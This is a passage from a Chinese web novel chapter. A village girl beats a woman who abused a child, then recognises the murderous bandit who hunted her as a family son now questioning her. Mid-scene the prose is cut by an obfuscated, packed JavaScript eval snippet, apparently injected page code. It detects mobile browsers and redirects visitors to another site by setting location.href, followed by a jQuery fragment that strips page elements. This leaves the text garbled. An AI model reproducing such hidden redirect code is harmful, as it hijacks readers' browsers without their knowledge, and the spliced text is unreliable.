方春梅敢伸手挠她脸,锄头柄便砸她的手,跟抬脚踢她,锄头柄不客气地落在她的腿上。 将她打的哭爹喊娘! 方春梅又痛又害怕,赵榆锄头舞得好,她打不过她,只能扯着嗓子哀嚎道:“别打了别打了!我好痛!” 哀求完,见赵榆不停手,又开始哭喊着威胁道;“你敢打我,周家人不会放过你的!还有我男人,周青,一定会将你赶出周家!” 回应她的是又一结实的锄头柄! 一通打之后,赵榆总算停了手,放声道:“下次再让我看见你敢对大牛二牛下手,我不会放过你!锄头柄不称手,我直接换成柴刀!” 说出这话时,赵榆脑中不自觉又想起了那把带血的银色大刀,心中再次一抖,却仍旧维持狠意盯着方春梅。 大牛见赵榆停下了,立即冲过去抱住赵榆的腿哭豪,一会儿说大牛想榆阿姐,一会儿又说自己身上被四婶掐的好痛,然后一阵哭,哭得好不委屈! 赵榆心疼,忙蹲下身,放下手里的锄头,将他抱在怀里安慰。 “大牛身上哪里疼,给榆阿姐看看?” 大牛啜泣着,掀起身上的小袄子,露出胖乎乎的肚子,然后指着腰侧道:“这里痛!”紧接着又指了指胳膊,又抬起短短的胳膊试图指后背,奈何穿着袄子不太灵活,他瘪嘴委屈道:“大牛浑身都痛!” 赵榆看着他白嫩嫩的软肉上已经泛红的指印,才消下去的火气又浮了上来。 大牛身上还穿袄子呢,就是这样都留下这么深痕迹,这得掐得有多用力?! 赵榆再次瞪向方春梅,一只手给大牛揉着伤痕,另一只手试图去拿锄头。 方春梅又气又疼,眼泪也流了满脸,她缩在角落,狠狠瞪着那一大一小,心里不住地咒骂,可当瞧见赵榆又要去握锄头时,她整个人一机灵,反应过来,速度极快地逃离堂屋,往她自个儿的屋里躲。 见四婶跑了,大牛还带着泪的笑脸笑将起来,“四婶坏!榆阿姐将坏人打跑了!” 赵榆被他逗笑,揉了揉他的脑袋这才问道:“你爷奶呢?还有你爹呢?” 他们定然是不在家,否则也不会任由方春梅将大牛欺负的这么惨。 大牛悠着赵榆给自己擦脸,将自己知道的都说了出来。 原来是她这么久没回来,周婆子周老汉急得不行,往进山的入口处看了好几回,也没瞧见人影,等到天完全黑下来,还没等到她回来。 他们这才心中不安,觉得是赵榆在山里头出事了。 赵榆虽每次下山都不早,可从没这么晚过,周家老两口觉得事情不对,便焦急忙慌的去了刘家,想要请刘贵帮忙带他们进山寻人。 刘贵毕竟是经常出入大山,对山的熟悉定是比他们这些人多,有他领着,将赵榆带回来的把握能大上不少。 从大牛东一句西一句的描述中,赵榆差不多理清所有,也就是说眼下周叔周婶去了刘家寻刘贵,然后打算上山去寻她? 这定然行不通! 寻不到刘贵不说,他此刻还待在坑洞里,等着她去救呢! 赵榆立即起身,打算去灶房绑个火把,临踏出门前,她想到什么,端起桌上的油灯,牵着大牛往屋内走。 大牛刚刚哭的那般凄惨,他娘定是很急,还是先领着大牛给她看看,可别急出好歹来。 卧房门未关,里头漆黑,赵榆在门口唤了两声后,这才小心地端着油灯进去。 然,当看见摔在地上的人时,赵榆手一抖,差点没拿稳油灯,惊呼道:“周二搜!” 忙将灯搁下,急着去扶人。 大牛还没干透的双眼再次含泪,冲过去,泣声喊道:“娘!大牛扶你起来!” 扈娘听着大牛哭声,心急,想要去阻止,奈何身子不管用,竟从床上摔了下来。 黑灯瞎火的,也看不见,她没扶稳,这才跌得重了。 赵榆将人重新扶上床,又为其将被褥盖上,地上凉,这么一会儿对方身上已经透着股寒气。 帮着将褥子压严实,这才问她可有摔伤哪里。 大牛娘笑着安抚他们,“不碍事……只膝上……摔的……疼了一些,好在已经…..缓和不少。” 没事便好,赵榆将位子让给大牛,让她能瞧得仔细,“大牛已经没事,你不用担心。” 大牛也很配合,小手抬起抹掉眼泪,然后像模像样地隔着被子拍了拍他娘的胸口,道:“娘好好休息,大牛不哭,大牛厉害着!” 扈娘看着儿子带着泪痕的脸,心中涩然,她忍着酸楚,含笑道:“大牛厉害,娘一直都知道。” 大牛挺了挺小胸膛,双眼都笑眯了起来。 扈娘复又看向赵榆,迎着暗黄的灯光,她看清对方脸上有两道新鲜的划痕,像是被刺条划过,忧心问道:“今日可是......遇见危险了?” 她是真心为赵榆担忧,山中危险重重,她自是知晓。在她身子还未坏时,也常常和村里妇人结伴上山寻食捡柴,当时还曾见过一只尚未成年的虎。 连浅山都有这些骇人的野畜,遑论大山里头了,定然是凶险万分。 扈娘趴在冰冷的地面时,听着儿子大牛的哭声,她心都在滴血,既恨自己无用,连走出屋子这点小事都做不到,又恨四弟妹方春梅心狠,她的大牛才五岁,那方氏是如何下得去手?! 就在她五指抓地,悲痛欲绝,试图爬出去阻止时,她听见了方氏的痛叫声,以及那木棍落在身上时砸出的闷响…… 扈娘心松了,整个人失力地趴伏在地。 终于......终于有人来帮她的大牛! 她感激赵榆,也无比希望赵榆能平安。 赵榆一愣,为了让她安心,没说别的,只简要说了刘贵两人有难一事。 说完,也不再停留,她得快些去刘家将事情说清楚,再叫上几人去山里将人救回来。 和大牛娘说了一声后,就要带上油灯离开。 临走时扈娘让赵榆将大牛带上,外面黑,年轻姑娘走夜路不安全,让大牛给她作伴。 赵榆没再推辞,时间紧迫,她牵着大牛先去了灶屋随手绑了个火把,点燃后,两人这才往院外走。 这时院门外响起脚步声,沉重有力。 赵榆听了,以为是周叔周婶他们回来了,牵着大牛快走几步,开口唤道:“周叔周——” 声音一窒,如同被人掐住了脖子,最后一个字如何都发不出来! 赵榆看着出现在眼前的高大身影,像是受于压迫般,止不住地后退了两步。 火把她扎得简洁,仅用稻草绳裹着些许松脂绑在木柴一头,形成一个小小的草绳包,燃起的火光也小的可怜,可即便如此,它依旧照清了院门外的男人。 仍旧是之前的装扮,短褐外罩着一层兽皮,将孔武有力的身躯衬的越发气势尽显。 他身量很高,像是为了确认般,她举着火把的手微不可查地缓缓上升,似要将对方的面孔也照个清晰。 赵榆视线从下至上,虚空着目光一点点划过,下巴、鼻梁、再到——那双眼睛! 赵榆瞳仁微颤,火把也似有千金重,火光微晃,即将要从她手中掉落。 赵榆立即松了牵住大牛的手,迅速抬起,将不稳的火把握住。 两只手紧紧将其稳住,似乎只有这样才能免于打草惊蛇,才能掩盖自己的慌乱,让对方不至于从晃动的火光中察觉到她的异样来。 赵榆的心跳的极快,眼前的正是杀人的匪徒,也是试图将她灭口的人! 可他……又怎么会找上门?! 是来杀她的么?! 赵榆脑中一片混乱,却又极力试图想出对策。 将火把稳住后,她伸手想要将大牛拢到身边来……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13890308|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这时,大牛突然出声喊道:“三叔!三叔回来啦!” 这人长得太高,大牛仰头看了好一会儿,才认出这是自家三叔。 大牛见三叔回来了,很是高兴,小脸扯出大大的笑来,但碍于三叔长得太过吓人,他不敢过去,仍旧紧紧抱着赵榆的腿不放。 周禾双眼一直盯着眼前的女人,即便听见稚子声,也未移开视线。 赵榆内心正焦躁不安,突然听见大牛的这声称呼,整个人都惊住。 三叔? 这匪人莫不是周家老三,周禾?! 原还在想着对策的脑子顿时空了空,一时间竟不知道该如何反应。 杀人的竟是周叔周婶的儿子!大牛二牛的三叔竟是追杀她的人! 这种关系宛如一大闷棍砸在了她的脑袋上,头晕转向,让她明辨不了是非。 正当她飘忽空茫时,他开口了。 “你是谁?”声线清冽,透着冷沉。 我是谁? 赵榆脑中愣愣的一遍又一遍重复这三个字。 我是谁,我是目睹你杀人的人,也是被你试图灭口,死里逃生的人。 赵榆再次抬眼对上那双眼睛,瞬间像是被扼住了心口,呼吸都跟着困难起来,“我——” 大牛抬头看了看榆阿姐,复又盯住三叔。三叔长得这般吓人,把他榆阿姐都给吓住了,大牛小身子一挺,大声道:“三叔,这是我榆阿姐!” 赵榆微微松了口气,幸好大牛帮她说了,否则被这人这般盯着,她实难出声。 周禾重复,“榆阿姐?” 对方依旧盯着她,但好在大牛替她回了话,让她得以在这眨眼功夫里平复心绪,恢复冷静。 赵榆面色未变,闻言点了点头,解释道:“我来周家已将近四个月之久,是周婶从人牙子手里将我带回来的。” 周禾与她微颤的清眸对视好一会儿,这才移开视线,瞥向与他保持距离的大牛,问道:“你们去哪?” 赵榆还没为对方从她身上移开目光松口气,就听见这个问题,顿时心中一跳。 大牛不知晓赵榆复杂的心思,见三叔问他,便回答他们是去刘家,去寻爷奶。 赵榆此刻一颗心高悬。 她有极其重要的事在身,那便是赶去刘家,将刘贵被困深山的事说与他们,可这事一旦开口,她今日出入山中的事就包不住。 一旦身边的人知道她从深山中下来,定会怀疑起她,如此,她还能跑的掉么?! 可若不说刘贵之事,她致死都会愧疚,身背两条命不比周禾抹人脖子强上多少,无论如何她都做不出。 赵榆心慌的不行,然而不等她思索出什么来,外头响起了说话声,随着隐隐绰绰的火光快速向这边靠近。 听声音,来人是周老汉和周婆子他们。 待他们到了院门口,这才发现回来的不止周家老两口,他们身后还跟着好些个人。 有刘贵媳妇刘三娘,此时她双眼微肿,显然是不久前才哭过;有王家村长以及他的大儿子王大柱外加被村长叫上的一些个村里的青壮;剩余的则是些面容陌生,约莫是大河村的人。 赵榆想起山里头被野猪咬坏双腿的人,心中有了数。 视线继续划过,落在站在王家村长身后的那个男人身上,赵榆面上不动声色,心中却是一咯噔,这人竟也是九龙村人,看他的站位以及面容,似乎与王家有关系。 赵榆想起了之前王大柱在周家提到的人,他的三弟,王三柱。 说王三柱随周禾一同外出走镖,如此看来,这人便是了。 赵榆心中一片焦郁,她那般逃命,不仅没甩脱,反倒与这两个匪人越发的近。 才庆幸死里逃生没多久,不想竟再次被刀抵住了脖子…… 正想着,双手被周婆子一把拉住,她又喜又怒,“你个不听话的丫头!怎的到现在才回来?!说过多少遍山里危险,让你早早下山,你怎就不听?!” 虽是气急大骂,可在场的人不难看出周婆子言语中的喜意和庆幸。 周老汉也举着火把靠近,随着火光打量赵榆全身,见她安然无恙,好手好脚,也跟着松口气,“回来就好!回来就好!” 周婆子拉着赵榆不放,离得近了,发现她脸上被划了几道红痕,周婆子眉头随即一皱,严声问道:“你怎的现在才出来?可是在山里遇见了危险?!” 刘三娘见着赵榆安全回来,眼神一亮,忙挤过众人上前来,心急问道:“赵妹子,我家刘贵也进山了,你可瞧见他了?” 赵榆来不及回答周婆子,她看向刘三娘,对方声音哽咽,双眼紧紧盯着自己,饱含期待。 这事一点也不能藏着掖着。 赵榆见此,点头道:“刘大哥没事,只是跌落坑洞摔到了腿,石洞太深,凭我一个人无法将他拉上来,我只能先下山喊人。” 刘三娘一听整个人一松,差点站立不住,好在被周婆子扶住了。 万幸……万幸她家男人还活着,虽然听到还摔了腿,刘三娘虽心疼却已经安心不少,腿摔了就待在家里好生养着,只要命没丢就好。 “你进了山?” 在其他人都因赵榆这话而庆幸时,这问题一出,显得十分突兀。 冷冽的声音响起,周遭七嘴八舌的安慰声顿时一熄,众人寻着声望去,这一看发现这人竟是周家老三。 夜色漆黑,即便点了火把,也只是让人看清路面不至于摔倒,至于人面,被火照得一片黄,光影摇曳,也看不分明。 加上今夜情况不同,两个村子都有人进山未归,若不是周禾突然出声,他们也只当他是隔壁大河村的人。 至于周老汉周婆子两人,一开始也是焦虑,等他们进院门往里一瞧,竟见到焦虑的源头正好端端在院里站着,他们太过欣喜,自然也就没注意到三郎竟然已经归家了。 周婆子也跟着看过去,见是她家周禾,惊喜不已,“老三?!几时回来的,怎的也不开口提醒我和你爹?” 见到周禾,其余人面色多少都有些复杂,唯有王家村长干皱的脸上带着笑意,问道:“周三,我家三柱呢?可回来了?” 不等周禾回答,村长身旁的王大柱已经先一步提醒他爹,指着他身后道:“人就在你身后。” 村长一愣,连忙转头,就见他家三子果真站在身后,也不知是何时出现的。 他眉头一扬,就像开骂,但念到此时还有更重要的事,便将这气忍了下去,等将刘贵他们救回来,他再骂不迟。 周禾依旧紧盯赵榆,阴戾的目光落在她的面庞上,泛着冷意,再次开口问道:“你在山里看见了什么?” 在他问上一个问题时,赵榆就心口狂跳,她知晓,对方已经开始怀疑。 在场除了赵榆,没人能懂他问这话的含义。 就连王三柱也没立刻理解。他当时没发现林中藏了人,自然也不知道那人是男是女,只在身影飞快闪过时,大致看出那人是个身形不大的。 但他对周禾还算了解,连着向人姑娘问了两遍问题,十分奇怪,不太符合他的作态。 他心里疑惑,然而其余人却没察觉出不对来。 就连周婆子也只当老三是要打听刘贵两人遇险的原因。 于是她也看向赵榆,等着她回答。 面前之人敏锐、心狠,赵榆宛如站在悬崖边,一只脚已经凌空。 她费了极大的力才暂且压下心中的惧意,她看向周禾,面色如常的与他对着,在心里数了三声后,这才移开视线,看向周婆子等人。 赵榆不知从哪听说过,与人对视时,坚持三个数假意都能显出三分真来。 她现在要做的,即是不能在这两个匪人面前露怯。 于是她道:“野猪,我看见了一大群野猪!”